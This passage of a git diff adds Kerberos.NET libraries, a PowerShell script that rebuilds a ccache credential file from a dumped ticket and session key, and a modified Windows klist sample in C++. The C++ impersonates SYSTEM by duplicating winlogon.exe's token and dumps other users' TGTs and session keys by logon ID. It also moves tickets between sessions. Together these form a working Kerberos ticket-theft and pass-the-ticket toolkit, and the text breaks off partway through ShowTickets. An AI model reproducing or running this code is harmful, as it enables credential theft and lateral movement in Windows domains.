diff --git a/Kerberos.NET.dll b/Kerberos.NET.dll new file mode 100644 index 0000000..bfa77e4 Binary files /dev/null and b/Kerberos.NET.dll differ diff --git a/Microsoft.Bcl.AsyncInterfaces.dll b/Microsoft.Bcl.AsyncInterfaces.dll new file mode 100644 index 0000000..c828d99 Binary files /dev/null and b/Microsoft.Bcl.AsyncInterfaces.dll differ diff --git a/Microsoft.Extensions.DependencyInjection.Abstractions.dll b/Microsoft.Extensions.DependencyInjection.Abstractions.dll new file mode 100644 index 0000000..6d03e3d Binary files /dev/null and b/Microsoft.Extensions.DependencyInjection.Abstractions.dll differ diff --git a/Microsoft.Extensions.Logging.Abstractions.dll b/Microsoft.Extensions.Logging.Abstractions.dll new file mode 100644 index 0000000..d69ff03 Binary files /dev/null and b/Microsoft.Extensions.Logging.Abstractions.dll differ diff --git a/klist-convertst.ps1 b/klist-convertst.ps1 new file mode 100644 index 0000000..7eca50c --- /dev/null +++ b/klist-convertst.ps1 @@ -0,0 +1,280 @@ +param( + [string]$inputfile, + [string]$outputfile +) + +#Path to DLL's for dumping +$wd = $(get-location).Path + +$path = "$wd\Kerberos.NET.dll" +$path2 = "$wd\Microsoft.Extensions.Logging.Abstractions.dll" +$path3 = "$wd\System.Buffers.dll" + + +$null = [System.Reflection.Assembly]::LoadFrom($path2) +$tmp = [System.Reflection.Assembly]::LoadFrom($path) +$null = [System.Reflection.Assembly]::LoadFrom($path3) + +Add-Type -AssemblyName "System.Collections" + +#path to text file with ticket +#$p = "c:\users\Administrator\desktop\so.txt" +#$p = "C:\Users\Administrator\Desktop\klist-convertv2\pp05.txt" +$p = $inputfile +#path to the output cache file +$outpath = $outputfile + +function convertDatestring($tmpstring){ + + $i = $tmpstring.indexof(':') + $tmptime = $($tmpstring.Substring($i + 2)).split('(')[0] + $da = get-date -Date $tmptime + $t = [int][double]($da.ToUniversalTime() - [datetime]'1970-01-01').TotalSeconds + return $t + +} + +function Convert-HexStringToBytes { + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)] + [string] $HexString + ) + + $bytes = [byte[]]::new($HexString.Length / 2) + for ($i = 0; $i -lt $HexString.Length; $i += 2) { + $bytes[$i / 2] = [byte]::Parse($HexString.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber) + } + + return $bytes +} + + +enum TicketFlags + { + + # + # Reserved. Indicates the absense of flags. + # + None = -1 + + # + # Reserved for future extension. + # + Reserved = 1 -shl 31 + + # + # Tells the ticket-granting service that it can issue a new TGT—based on the + # presented TGT—with a different network address based on the presented TGT. + # + Forwardable = 1 -shl 30 + + # + # Indicates either that a TGT has been forwarded or that a ticket was issued from a forwarded TGT. + # + Forwarded = 1 -shl 29 + + # + # Tells the ticket-granting service that it can issue tickets with a network address that + # differs from the one in the TGT. + # + Proxiable = 1 -shl 28 + + # + # Indicates that the network address in the ticket is different from the one in the TGT + # used to obtain the ticket. + # + Proxy = 1 -shl 27 + + # + # Indicates the requested ticket may be post-dated for use in future. + # + #[Description("May Post-date")] + MayPostDate = 1 -shl 26 + + # + # Indicates the requested ticket is post-dated for use in the future. + # + #[Description("Post-dated")] + PostDated = 1 -shl 25 + + # + # This flag indicates that a ticket is invalid, and it must be validated by the KDC before use. + # Application servers must reject tickets which have this flag set. + # + Invalid = 1 -shl 24 + + # + # Used in combination with the End Time and Renew Till fields to cause tickets with long life + # spans to be renewed at the KDC periodically. + # + Renewable = 1 -shl 23 + + # + # Indicates that a ticket was issued using the authentication service (AS) exchange and + # not issued based on a TGT. + # + Initial = 1 -shl 22 + + # + # Indicates that the client was authenticated by the KDC before a ticket was issued. + # This flag usually indicates the presence of an authenticator in the ticket. + # It can also flag the presence of credentials taken from a smart card logon. + # + #[Description("Pre-Authenticated")] + PreAuthenticated = 1 -shl 21 + + # + # This flag was originally intended to indicate that hardware-supported authentication + # was used during pre-authentication. This flag is no longer recommended in the Kerberos + # V5 protocol. KDCs MUST NOT issue a ticket with this flag set. KDCs SHOULD NOT preserve + # this flag if it is set by another KDC. + # + #[Description("Hardware Authenticated")] + HardwareAuthentication = 1 -shl 20 + + # + # Application servers MUST ignore the TRANSITED-POLICY-CHECKED flag. + # + #[Description("Transit Policy-Checked")] + TransitPolicyChecked = 1 -shl 19 + + # + # The KDC MUST set the OK-AS-DELEGATE flag if the service account is trusted for delegation. + # + #[Description("Ok as Delegate")] + OkAsDelegate = 1 -shl 18 + + # + # Indicates the client supports FAST negotiation. + # + # [Description("Encrypted Pre-Authentication")] + EncryptedPreAuthentication = 1 -shl 16 + + # + # Indicates the ticket is anonymous. + # + Anonymous = 1 -shl 15 + } + + + + +$fullfile = get-content $p +$totallines = $fullfile.Length +$ticketfilelines = $totallines - 14 + +$first = Get-Content -TotalCount 14 -path $p + +$ticketfile = Get-Content -tail $ticketfilelines -path $p | ForEach-Object { $_.Substring(6) } + + +$servicename = $($first[0] -split ':')[1].Trim() +$username = $($first[2] -split ':')[1].Trim() +$realm = $($first[3] -split ':')[1].Trim() + + +$un = New-Object System.Collections.Generic.List[string] +$un.add($username) + + +$user = [Kerberos.NET.Entities.PrincipalName]::new([Kerberos.NET.Entities.PrincipalNameType]::NT_PRINCIPAL,$realm,$un) + +$servname = New-Object System.Collections.Generic.List[string] +$servname.add($servicename) +$server = [Kerberos.NET.Entities.PrincipalName]::new([Kerberos.NET.Entities.PrincipalNameType]::NT_SRV_INST, $realm,$servname) + +#$kerbkeytmp = [byte[]](0x7f,0x77,0x5c,0x86,0xf6,0x6e,0x6a,0x70,0xb2,0xc2,0xc6,0x29,0xe0,0x0d,0xa0,0xa7,0xf0,0xd6,0xb3,0x70,0x93,0xb5,0x44,0x6c,0xd8,0x80,0x77,0x08,0x35,0xbb,0xcc,0x68) +#$kerbkey = [System.ReadOnlyMemory[byte]]::new([byte[]](0x7f,0x77,0x5c,0x86,0xf6,0x6e,0x6a,0x70,0xb2,0xc2,0xc6,0x29,0xe0,0x0d,0xa0,0xa7,0xf0,0xd6,0xb3,0x70,0x93,0xb5,0x44,0x6c,0xd8,0x80,0x77,0x08,0x35,0xbb,0xcc,0x68)) + +$q = $first[8].IndexOf('-') +$kerbkeytmp = $($first[8].Substring($q +2)) -replace '[^0-9A-Fa-f]', '' +$kerbkeybytes = Convert-HexStringToBytes -HexString $kerbkeytmp + +$kerbkey = [System.ReadOnlyMemory[byte]]::new([byte[]]($kerbkeybytes)) + +$encryptionType = [Kerberos.NET.Crypto.EncryptionType]::AES256_CTS_HMAC_SHA1_96 +#$keyValuePair = new-object [System.Collections.Generic.KeyValuePair[EncryptionType, [System.ReadOnlyMemory[byte]]] + +$keyValuePair = [System.Collections.Generic.KeyValuePair[Kerberos.NET.Crypto.EncryptionType, [System.ReadOnlyMemory[byte]]]]::new($encryptionType, $kerbkey) + + + +$starttimetmp = convertDateString($first[9]) +$authtimetmp = $starttime +$endtimetmp = convertDateString($first[10]) +$renewtimetmp = ConvertDateString($first[11]) + +$epoch = [datetime]'1970-01-01T00:00:00Z' + +$authtime = $epoch.AddSeconds($starttimetmp) +$starttime = $epoch.AddSeconds($starttimetmp) +$endtime = $epoch.AddSeconds($endtimetmp) +$renewtime = $epoch.AddSeconds($renewtimetmp) + +$iskey = $false + +#$tflags = [ticketflags]::Initial -bor [ticketflags]::Renewable -bor [ticketflags]::Forwardable -bor [ticketflags]::PreAuthenticated +#$tflagsline = $first[6] +#if ($tflagsline -match 'TicketFlags\s+:\s+\((0x[0-9a-fA-F]+)\)') { +# $tflags = [UInt32]::Parse($matches[1].Substring(2), 'HexNumber') +#} + +#($test -split '[`(`)]')[1] +$tflagsline = $first[6] +$tflagshex = ($tflagsline -split '[()]')[1] +$tflags = [Convert]::ToUInt32($tflagshex, 16) +$tflags = [ticketflags]::Forwardable -bor [ticketflags]::Renewable -bor [ticketflags]::PreAuthenticated -bor [ticketflags]::OkAsDelegate + +$krbinfo = [Kerberos.NET.Entities.KrbCredInfo]::new() +$krbenckey = [Kerberos.NET.Entities.KrbEncryptionKey]::new() +$krbenckey.EType = $encryptionType +$krbenckey.KeyValue = $kerbkey + +$krbinfo.Key = $krbenckey +$krbinfo.SRealm = $realm +$krbinfo.AuthTime = $authtime +$krbinfo.EndTime = $endtime +$krbinfo.RenewTill = $renewtime +$krbinfo.Flags = $tflags +$krbinfo.PName = $user +$krbinfo.StartTime = $starttime + + + + +$tfile = $ticketfile -replace '[^0-9A-Fa-f]', '' +$hs = '' +$j = 0 +$i = $ticketfilelines - 1 +for($j; $j -lt $i; $j++) { $y = $tfile[$j]; $r = $y.substring(0,32); $hs += $r.Trim() } + + +#$hs += $tfile[$ticketfilelines - 1] +$tmp = $ticketfile[$ticketfilelines - 1] +$tmpl = $tmp.length +$hs += $($tmp.substring(0,$tmpl)) -replace '[^0-9A-Fa-f]', '' + +$bbytes = Convert-HexStringToBytes -HexString $hs +$c = [System.ReadOnlyMemory[byte]]::new($bbytes) +$d = [Kerberos.NET.Entities.KrbTicket]::DecodeApplication($c) + +$KRBCRED = [Kerberos.NET.Entities.KrbCred]::WrapTicket($d, $krbinfo) +$cpart = $krbcred.Validate() +$z = $KRBCRED.tickets[0] +$zinfo = $cpart.TicketInfo[0] +$zinfo.realm = $realm + +$ticketcacheentry = [Kerberos.NET.TicketCacheEntry]::ConvertKrbCredToCacheEntry($cpart, $z, $zinfo) + +$cache = [Kerberos.NET.Client.Krb5CredentialCache]::new() +$kdcClientOffset = [Kerberos.NET.Client.Krb5CredentialCacheTag]::KdcClientOffset + + +$cache.version = 4 +$cache.DefaultPrincipalName = $user +$ttype = $cache.GetType() +$method = $ttype.GetMethod("Add", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Instance) +$method.Invoke($cache,@($ticketcacheentry)) + +[System.IO.File]::WriteAllBytes($outpath, $cache.GetType().GetMethod("Serialize", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Instance).Invoke($cache,@())) diff --git a/klist2.cpp b/klist2.cpp new file mode 100644 index 0000000..66b79a2 --- /dev/null +++ b/klist2.cpp @@ -0,0 +1,1456 @@ +/*-- + +THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +PARTICULAR PURPOSE. + +Copyright (C) 1999 - 2000 Microsoft Corporation. All rights reserved. + +Module Name: + + klist.c + +Abstract: + + Sample program that demonstrates how to: + query Kerberos ticket cache + purge Kerberos tickets from cache + request service ticket + +Author: + + David Mowers (davemo) 14-October-98 + +Revision History: + +--*/ + + +// +// Common include files. +// +#define UNICODE +#define _UNICODE + +#include +#include +#include +#include +#include +#include +#include +#include +#define SECURITY_WIN32 +#include +#include +#include +#include +#include +#include // For ConvertStringSidToSid +#include + +#define INTERACTIVE_PURGE 1 + +#define SEC_SUCCESS(Status) ((Status) >= 0) + +VOID +InitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString OPTIONAL + ); + +VOID +ShowLastError( + const char* szAPI, + DWORD dwError + ); + +VOID +ShowNTError( + const char* szAPI, + NTSTATUS Status + ); + +BOOL +PackageConnectLookup( + HANDLE *pLogonHandle, + ULONG *pPackageId + ); + +BOOL +ShowTickets( + HANDLE LogonHandle, + ULONG PackageId, + DWORD dwMode + ); + +BOOL +ShowTgt( + HANDLE LogonHandle, + ULONG PackageId, + LUID L + ); +BOOL +ShowAll( + HANDLE LogonHandle, + ULONG PackageId, + LUID L +); + +DWORD +GetEncodedTicket( + HANDLE LogonHandle, + ULONG PackageId, + wchar_t *Server + ); + + + +//bool move(HANDLE LogonHandle, ULONG PackageId, LUID dl, LUID tl); +bool move2(HANDLE LogonHandle, ULONG PackageId, wchar_t* Server, LUID tl); + +typedef struct _KERB_RETRIEVE_ENCODED_TICKET_RESPONSE { + PKERB_EXTERNAL_NAME ServiceName; + PKERB_EXTERNAL_NAME TargetName; + UNICODE_STRING DomainName; + UNICODE_STRING TargetDomainName; + UNICODE_STRING AltTargetDomainName; + KERB_CRYPTO_KEY SessionKey; + ULONG TicketFlags; + LARGE_INTEGER ExpirationTime; + LARGE_INTEGER StartTime; + LARGE_INTEGER RenewUntil; + LARGE_INTEGER TimeSkew; + ULONG EncodedTicketSize; + PUCHAR EncodedTicket; +} KERB_RETRIEVE_ENCODED_TICKET_RESPONSE, * PKERB_RETRIEVE_ENCODED_TICKET_RESPONSE; + + + + +BOOL EnablePrivilege(LPCWSTR privName) { + HANDLE hToken; + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + return FALSE; + + if (!LookupPrivilegeValue(NULL, privName, &luid)) { + CloseHandle(hToken); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL success = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); + CloseHandle(hToken); + return success && GetLastError() == ERROR_SUCCESS; +} + +void PrintHexDump(const unsigned char* data, size_t size) { + const size_t bytesPerLine = 16; + + for (size_t i = 0; i < size; i += bytesPerLine) { + // Offset + printf("%04zx ", i); + + // Hex output with ":" separator after 8 bytes + for (size_t j = 0; j < bytesPerLine; ++j) { + if (i + j < size) { + if(j == 7) + printf("%02x", data[i + j]); + else + printf("%02x ", data[i + j]); + } + + else + printf(" "); + + if (j == 7) + printf(":"); + } + + printf("\n"); + } +} + + +// Function to check if the current user is LocalSystem +bool IsCurrentUserLocalSystem() +{ + HANDLE hToken = nullptr; + if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) { + // If there's no thread token, fall back to process token + if (GetLastError() == ERROR_NO_TOKEN) { + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + std::cout << "OpenProcessToken failed" << std::endl; + return false; + } + } + else { + std::cout << "OpenThreadToken failed" << std::endl; + return false; + } + } + + BYTE buffer[SECURITY_MAX_SID_SIZE]; + DWORD sidSize = sizeof(buffer); + PSID localSystemSid = buffer; + + if (!CreateWellKnownSid(WinLocalSystemSid, NULL, localSystemSid, &sidSize)) { + CloseHandle(hToken); + std::cout << "CreateWellKnownSid failed" << std::endl; + return false; + } + + TOKEN_USER* tokenUser = nullptr; + DWORD dwSize = 0; + GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize); + tokenUser = (TOKEN_USER*)malloc(dwSize); + + if (!GetTokenInformation(hToken, TokenUser, tokenUser, dwSize, &dwSize)) { + free(tokenUser); + CloseHandle(hToken); + return false; + } + + BOOL result = EqualSid(tokenUser->User.Sid, localSystemSid); + free(tokenUser); + CloseHandle(hToken); + return result; +} + + + + + +bool ImpersonateSystemFromProcess() +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; + DWORD pid = 0; + + if (Process32First(hSnapshot, &pe)) { + do { + if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { + pid = pe.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + + if (!pid) return false; + HANDLE hProc = nullptr, hToken = nullptr, hDupToken = nullptr; + + // Find PID of winlogon.exe (or services.exe, etc.) + // Let's say it's stored in `pid` already. + + hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProc) { + std::cout << "OpenProcess failed" << std::endl; + return false; + } + + if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { + + std::cout << "OpenProcessToken failed" << std::endl; + return false; + } + + + if (!DuplicateTokenEx( + hToken, + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenImpersonation, + &hDupToken)) + { + std::cout << "DuplicateToken failed" << std::endl; + CloseHandle(hToken); + return false; + } + + /*if (!SetThreadToken(nullptr, hDupToken)) + { + + CloseHandle(hToken); + CloseHandle(hDupToken); + return false; + } + */ + if (!ImpersonateLoggedOnUser(hDupToken)) { + + std::cout << "ImpersonateLoggedOnUser failed" << std::endl; + return false; + + } + + if (!IsCurrentUserLocalSystem()) { + + std::cout << "We are not system, unknown error" << std::endl; + + } + + // Success + CloseHandle(hToken); + CloseHandle(hDupToken); + CloseHandle(hProc); + return true; +} + +void RevertIfImpersonated() +{ + RevertToSelf(); // Reverts thread token only +} + +const char* GetKeyTypeName(ULONG keyType) { + switch (keyType) { + case 0x12: return "AES-256-CTS-HMAC-SHA1-96"; + case 0x11: return "AES-128-CTS-HMAC-SHA1-96"; + case 0x17: return "RC4-HMAC"; + case 0x18: return "RC4-HMAC-EXP"; + default: return "Unknown"; + } +} + +void PrintSessionKey(KERB_CRYPTO_KEY key) { + printf("Session Key : KeyType 0x%02X - %s\n", key.KeyType, GetKeyTypeName(key.KeyType)); + printf(" : KeyLength %lu - ", key.Length); + // printf("Session Key Value : "); + + for (ULONG i = 0; i < key.Length; i++) { + printf("%02X", ((BYTE*)key.Value)[i]); + printf(" "); + } + printf("\n"); +} + + +LUID ParseLuid(const std::wstring& lowHex, const std::wstring& highHex = L"0x0") { + LUID luid; + luid.LowPart = static_cast(std::stoul(lowHex, nullptr, 0)); // base 0 = auto-detect hex or dec + luid.HighPart = static_cast(std::stol(highHex, nullptr, 0)); + return luid; +} + + + + +int __cdecl +wmain( + int argc, + wchar_t *argv[] + ) +{ + + HANDLE LogonHandle = NULL; + ULONG PackageId; + + if (argc < 2) + { + printf("Usage: %S , <-lh> | all <-li>, <-lh> | move -li <-lh> | move2 [service principal name(for get)] -li <-lh> | purge | get> [service principal name(for get)]\n",argv[0]); + return FALSE; + } + + // + // Get the logon handle and package ID from the + // Kerberos package + // + if(!PackageConnectLookup(&LogonHandle, &PackageId)) + return FALSE; + + if(!_wcsicmp(argv[1],L"tickets")) + { + ShowTickets(LogonHandle, PackageId, 0); + } + else if(!_wcsicmp(argv[1],L"tgt")) + { + std::wstring lowarg = L"0x0"; + std::wstring higharg = L"0x0"; + bool system = FALSE; + for (int i = 1; i < argc; i++) { + if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) { + lowarg = argv[++i]; + system = TRUE; + } + else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) { + higharg = argv[++i]; + system = TRUE; + } + } + + LUID luid = ParseLuid(lowarg, higharg); + //if(!_wcsicmp(argv)) + + if (system) { + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + //bool test = TemporarilyImpersonateSystem(); + + + bool test = ImpersonateSystemFromProcess(); + + if (IsCurrentUserLocalSystem()) { + + std::cout << "token is system" << std::endl; + } + else { + std::cout << "System elevation failed" << std::endl; + + } + } + + ShowTgt(LogonHandle, PackageId, luid); + RevertIfImpersonated(); + } + else if (!_wcsicmp(argv[1], L"all")) + { + std::wstring lowarg = L"0x0"; + std::wstring higharg = L"0x0"; + bool system = FALSE; + + + for (int i = 1; i < argc; i++) { + if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) { + lowarg = argv[++i]; + system = TRUE; + } + else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) { + higharg = argv[++i]; + system = TRUE; + } + } + + LUID luid = ParseLuid(lowarg, higharg); + + if (system) { + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + + // bool test1 = TemporarilyImpersonateSystem(); + bool test1 = ImpersonateSystemFromProcess(); + if (IsCurrentUserLocalSystem()) { + + std::cout << "token is system" << std::endl; + } + else { + std::cout << "System elevation failed" << std::endl; + + } + } + ShowAll(LogonHandle, PackageId, luid); + RevertIfImpersonated(); + } + /* else if (!_wcsicmp(argv[1], L"move")) { + + std::wstring tlowarg = L"0x0"; + std::wstring thigharg = L"0x0"; + std::wstring dlowarg = L"0x0"; + std::wstring dhigharg = L"0x0"; + + for (int i = 1; i < argc; i++) { + if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) { + tlowarg = argv[++i]; + + } + else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) { + thigharg = argv[++i]; + + } + } + LUID tluid = ParseLuid(tlowarg, thigharg); + LUID dluid = ParseLuid(dlowarg, dhigharg); + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + + // bool test1 = TemporarilyImpersonateSystem(); + bool test1 = ImpersonateSystemFromProcess(); + if (IsCurrentUserLocalSystem()) { + + std::cout << "token is system" << std::endl; + } + else { + std::cout << "System elevation failed" << std::endl; + + } + + move(LogonHandle, PackageId, dluid, tluid); + RevertIfImpersonated(); + + }*/ + else if (!_wcsicmp(argv[1], L"move2")) { + + std::wstring tlowarg = L"0x0"; + std::wstring thigharg = L"0x0"; + std::wstring dlowarg = L"0x0"; + std::wstring dhigharg = L"0x0"; + + for (int i = 1; i < argc; i++) { + if (!_wcsicmp(argv[i], L"-li") && i + 1 < argc) { + tlowarg = argv[++i]; + + } + else if (!_wcsicmp(argv[i], L"-lh") && i + 1 < argc) { + thigharg = argv[++i]; + + } + } + LUID tluid = ParseLuid(tlowarg, thigharg); + LUID dluid = ParseLuid(dlowarg, dhigharg); + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + + // bool test1 = TemporarilyImpersonateSystem(); + bool test1 = ImpersonateSystemFromProcess(); + if (IsCurrentUserLocalSystem()) { + + std::cout << "token is system" << std::endl; + } + else { + std::cout << "System elevation failed" << std::endl; + + } + + move2(LogonHandle, PackageId, argv[2], tluid); + RevertIfImpersonated(); + + } + + else if(!_wcsicmp(argv[1],L"purge")) + { + ShowTickets(LogonHandle, PackageId, INTERACTIVE_PURGE); + } + else if(!_wcsicmp(argv[1],L"get")) + { + if(argc < 3) + { + printf("Provide service principal name (SPN) of encoded ticket to retrieve\n"); + } + else + GetEncodedTicket(LogonHandle, PackageId, argv[2]); + } + else + { + printf("Usage: %S [service principal name(for get)]\n",argv[0]); + } + + if (LogonHandle != NULL) + { + LsaDeregisterLogonProcess(LogonHandle); + } + + return TRUE; + +} + +VOID +PrintKerbName( + PKERB_EXTERNAL_NAME Name + ) +{ + ULONG Index; + for (Index = 0; Index < Name->NameCount ; Index++ ) + { + printf("%wZ",&Name->Names[Index]); + if ((Index+1) < Name->NameCount) + printf("/"); + } + printf("\n"); +} + +VOID +PrintTime( + const char* Comment, + TimeStamp ConvertTime + ) +{ + + printf( "%s", Comment ); + + // + // If the time is infinite, + // just say so. + // + if ( ConvertTime.HighPart == 0x7FFFFFFF && ConvertTime.LowPart == 0xFFFFFFFF ) { + printf( "Infinite\n" ); + + // + // Otherwise print it more clearly + // + } else { + + SYSTEMTIME SystemTime; + FILETIME LocalFileTime; + + if( FileTimeToLocalFileTime( + (PFILETIME) &ConvertTime, + &LocalFileTime + ) && + FileTimeToSystemTime( + &LocalFileTime, + &SystemTime + ) ) + { + + printf( "%ld/%ld/%ld %ld:%2.2ld:%2.2ld\n", + SystemTime.wMonth, + SystemTime.wDay, + SystemTime.wYear, + SystemTime.wHour, + SystemTime.wMinute, + SystemTime.wSecond ); + } + else + { + printf( "%ld\n", (long)(ConvertTime.QuadPart/(10*1000*1000))); + } + } + +} + +VOID +PrintEType( + int etype + ) +{ + +#define AddEtype(n) { n, L###n } + + struct _etype { + int etype; + LPCWSTR ename; + } enames[] = { + AddEtype(KERB_ETYPE_NULL), + AddEtype(KERB_ETYPE_DES_CBC_CRC), + AddEtype(KERB_ETYPE_DES_CBC_MD4), + AddEtype(KERB_ETYPE_DES_CBC_MD5), + AddEtype(KERB_ETYPE_DES_PLAIN), + AddEtype(KERB_ETYPE_RC4_MD4), + AddEtype(KERB_ETYPE_RC4_PLAIN2), + AddEtype(KERB_ETYPE_RC4_LM), + AddEtype(KERB_ETYPE_RC4_SHA), + AddEtype(KERB_ETYPE_DES_PLAIN), + AddEtype(KERB_ETYPE_RC4_HMAC_OLD), + AddEtype(KERB_ETYPE_RC4_PLAIN_OLD), + AddEtype(KERB_ETYPE_RC4_HMAC_OLD_EXP), + AddEtype(KERB_ETYPE_RC4_PLAIN_OLD_EXP), + AddEtype(KERB_ETYPE_RC4_PLAIN), + AddEtype(KERB_ETYPE_RC4_PLAIN_EXP), + AddEtype(KERB_ETYPE_DSA_SIGN), + AddEtype(KERB_ETYPE_RSA_PRIV), + AddEtype(KERB_ETYPE_RSA_PUB), + AddEtype(KERB_ETYPE_RSA_PUB_MD5), + AddEtype(KERB_ETYPE_RSA_PUB_SHA1), + AddEtype(KERB_ETYPE_PKCS7_PUB), + AddEtype(KERB_ETYPE_DES_CBC_MD5_NT), + AddEtype(KERB_ETYPE_RC4_HMAC_NT), + AddEtype(KERB_ETYPE_RC4_HMAC_NT_EXP), + {-1, 0} + }; + int i; + + for (i = 0; enames[i].ename != 0; i++) { + if (etype == enames[i].etype) { + printf("session key : (%d) %S\n", + etype, + enames[i].ename); + return; + } + } + printf("session key : %d\n", etype); +} + + +VOID +PrintTktFlags( + ULONG flags + ) +{ + if (flags & KERB_TICKET_FLAGS_forwardable) { + printf("forwardable "); + } + if (flags & KERB_TICKET_FLAGS_forwarded) { + printf("forwarded "); + } + if (flags & KERB_TICKET_FLAGS_proxiable) { + printf("proxiable "); + } + if (flags & KERB_TICKET_FLAGS_proxy) { + printf("proxy "); + } + if (flags & KERB_TICKET_FLAGS_may_postdate) { + printf("may_postdate "); + } + if (flags & KERB_TICKET_FLAGS_postdated) { + printf("postdated "); + } + if (flags & KERB_TICKET_FLAGS_invalid) { + printf("invalid "); + } + if (flags & KERB_TICKET_FLAGS_renewable) { + printf("renewable "); + } + if (flags & KERB_TICKET_FLAGS_initial) { + printf("initial "); + } + if (flags & KERB_TICKET_FLAGS_hw_authent) { + printf("hw_auth "); + } + if (flags & KERB_TICKET_FLAGS_pre_authent) { + printf("preauth "); + } + if (flags & KERB_TICKET_FLAGS_ok_as_delegate) { + printf("delegate "); + } + printf("\n"); +} + +BOOL +PackageConnectLookup( + HANDLE *pLogonHandle, + ULONG *pPackageId + ) +{ + LSA_STRING Name; + NTSTATUS Status; + + Status = LsaConnectUntrusted( + pLogonHandle + ); + + if (!SEC_SUCCESS(Status)) + { + + ShowNTError("LsaConnectUntrusted", Status); + return FALSE; + } + + Name.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A; + Name.Length = (USHORT)strlen(Name.Buffer); + Name.MaximumLength = Name.Length + 1; + + Status = LsaLookupAuthenticationPackage( + *pLogonHandle, + &Name, + pPackageId + ); + + if (!SEC_SUCCESS(Status)) + { + ShowNTError("LsaLookupAuthenticationPackage", Status); + return FALSE; + } + + return TRUE; + +} + +BOOL +PurgeTicket( + HANDLE LogonHandle, + ULONG PackageId, + LPWSTR Server, + DWORD cbServer, + LPWSTR Realm, + DWORD cbRealm + ) +{ + NTSTATUS Status; + PVOID Response; + ULONG ResponseSize; + NTSTATUS SubStatus=0; + + PKERB_PURGE_TKT_CACHE_REQUEST pCacheRequest = NULL; + + pCacheRequest = (PKERB_PURGE_TKT_CACHE_REQUEST) + LocalAlloc(LMEM_ZEROINIT, + cbServer + cbRealm + sizeof(KERB_PURGE_TKT_CACHE_REQUEST)); + + pCacheRequest->MessageType = KerbPurgeTicketCacheMessage; + pCacheRequest->LogonId.LowPart = 0; + pCacheRequest->LogonId.HighPart = 0; + + CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST), + Server,cbServer); + CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer, + Realm,cbRealm); + + pCacheRequest->ServerName.Buffer = + (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)); + + pCacheRequest->ServerName.Length = + (unsigned short)cbServer; + + pCacheRequest->ServerName.MaximumLength = + (unsigned short)cbServer; + + pCacheRequest->RealmName.Buffer = + (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer); + + pCacheRequest->RealmName.Length = + (unsigned short)cbRealm; + + pCacheRequest->RealmName.MaximumLength = + (unsigned short)cbRealm; + + printf("\tDeleting ticket: \n"); + printf("\t ServerName = %wZ (cb=%lu)\n",&pCacheRequest->ServerName,cbServer); + printf("\t RealmName = %wZ (cb=%lu)\n",&pCacheRequest->RealmName,cbRealm); + + Status = LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + pCacheRequest, + sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer+cbRealm, + &Response, + &ResponseSize, + &SubStatus + ); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(Status)) + { + ShowNTError("LsaCallAuthenticationPackage(purge)", Status); + printf("Substatus: 0x%x\n",SubStatus); + ShowNTError("LsaCallAuthenticationPackage(purge SubStatus)", SubStatus); + return FALSE; + } + else + { + printf("\tTicket purged!\n"); + return TRUE; + } + +} + + +BOOL +ShowTickets( + HANDLE LogonHandle, + ULONG PackageId, + DWORD dwMode + ) +{ + NTSTATUS Status; + KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; + PKERB_QUERY_TKT_CACHE_RESPONSE CacheResponse = NULL; + ULONG ResponseSize; + NTSTATUS SubStatus; + ULONG Index; + int ch; + + CacheRequest.MessageType = KerbQueryTicketCacheMessage; + CacheRequest.LogonId.LowPart = 0; + 